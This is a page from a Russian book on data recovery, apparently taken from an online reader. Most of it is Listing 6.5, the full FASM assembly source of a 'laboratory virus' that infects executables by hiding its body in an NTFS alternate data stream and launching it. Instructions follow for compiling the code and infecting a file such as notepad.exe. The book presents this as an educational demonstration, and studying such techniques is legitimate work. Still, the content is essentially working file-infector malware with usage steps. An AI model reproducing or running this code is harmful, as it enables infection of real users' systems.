Восстановление данных - страница 69

Шрифт
Интервал

стр.

). Эта утилита поставляется с исходным кодом, который легко доработать под любые потребности.

Программный код вируса

Естественные языки с описанием компьютерных алгоритмов практически никогда не справляются. Уж слишком они неоднозначны и внутренне противоречивы. Поэтому, во избежание недоразумений, продублируем описание алгоритма на языке ассемблера.

В листинге 6.5 приведен исходный код ключевого фрагмента вируса с комментариями.

Листинг 6.5. Исходный код ключевого фрагмента лабораторного вируса

>section '.code' code readable executable>start:

>      ; Удаляем временный файл

>      push foo

>      call [DeleteFile]


>      ; Определяем наше имя

>      push 1000

>      push buf

>      push 0

>      call [GetModuleFileName]


>      ; Считываем командную строку

>      ; Ключ filename - заразить

>      call [GetCommandLine]

>      mov ebp, eax

>      xor ebx, ebx

>      mov ecx, 202A2D2Dh ;

>rool:

>      cmp [eax], ecx ; это '--*'?

>      jz infect

>      inc eax

>      cmp [eax], ebx ; Конец командной строки?

>      jnz rool


>      ; Выводим диагностическое сообщение,

>      ; подтверждая свое присутствие в файле

>      push 0

>      push aInfected

>      push aHello

>      push 0

>      call [MessageBox]


>      ; Добавляем к своему имени имя потока NTFS

>      mov esi, code_name

>      mov edi, buf

>      mov ecx, 100; сode_name_end - code_name

>      xor eax,eax

>      repne scasb

>      dec edi

>      rep movsb


>      ; Запускаем поток NTFS на выполнение

>      push xxx

>      push xxx

>      push eax

>      push eax

>      push eax

>      push eax

>      push eax

>      push eax

>      push ebp

>      push buf

>      call [CreateProcess]

>      jmp go2exit ; Выходим из вируса


>infect:

>      ; Устанавливаем eax на первый символ имени файла-жертвы

>      ; (далее по тексту dst)

>      add eax, 4

>      xchg eax, ebp

>      xor eax,eax

>      inc eax


>      ; Здесь можно вставить проверку dst на заражение


>      ; Переименовываем dst в foo

>      push foo

>      push ebp

>      call [RenameFile]


>      ; Копируем в foo основной поток dst

>      push eax

>      push ebp

>      push buf

>      call [CopyFile]


>      ; Добавляем к своему имени имя потока NTFS

>      mov esi, ebp

>      mov edi, buf

>copy_rool:

>      lodsb

>      stosb

>      test al,al

>      jnz copy_rool

>      mov esi, code_name

>      dec edi

>copy_rool2:

>      lodsb

>      stosb

>      test al,al

>      jnz copy_rool2


>      ; Копируем foo в dst:bar

>      push eax

>      push buf

>      push foo

>      call [CopyFile]


>      ; Здесь не помешает добавить коррекцию длины заражаемого файла

>      ; Удаляем foo

>      push foo

>      call [DeleteFile]


>      ; Выводим диагностическое сообщение,

>      ; подтверждающее успешность заражения файла

>      push 0

>      push aInfected

>      push ebp

>      push 0

>      call [MessageBox]


>      ; Выход из вируса

>go2exit:

>      push 0

>      call [ExitProcess]


>section '.data' data readable writeable

>      foo db "foo",0        ; Имя временного файла

>      code_name db ":bar",0 ; Имя потока, в котором будет...

>      code_name_end:        ; ...сохранено основное тело


>      ; Различные текстовые строки, выводимые вирусом

>      aInfected db "infected",0

>      aHello db "Hello, you are hacked"


>      ; Различные буфера для служебных целей

>      buf rb 1000

>      xxx rb 1000

Компиляция и тестирование вируса

Для компиляции вирусного кода нам понадобится транслятор FASM, бесплатную Windows-версию которого можно найти на сайте http://flatassembler.net/. Остальные трансляторы (MASM, TASM) тут непригодны, так как они используют совсем другой ассемблерный синтаксис.

Скачайте последнюю версию FASM, распакуйте архив и в командной строке наберите следующую команду: >fasm.exe xcode.asm. Если все сделано правильно, на диске должен появиться файл >xcode.exe. Запустим его на выполнение с опцией командной строки >--*, за которой следует имя файла, который требуется заразить, например, notepad.exe (>xcode.exe --* notepad.exe). Появление диалогового окна, показанного на рис. 6.6, свидетельствует об успешном внедрении. Если попытка заражения потерпела неудачу, первым делом необходимо убедиться в наличии прав доступа к файлу. Захватывать их самостоятельно наш вирус не собирается. Во всяком случае, пока. Но вот настоящие вирусы, в отличие от нашего безобидного лабораторного создания, сделают это непременно.


стр.

Похожие книги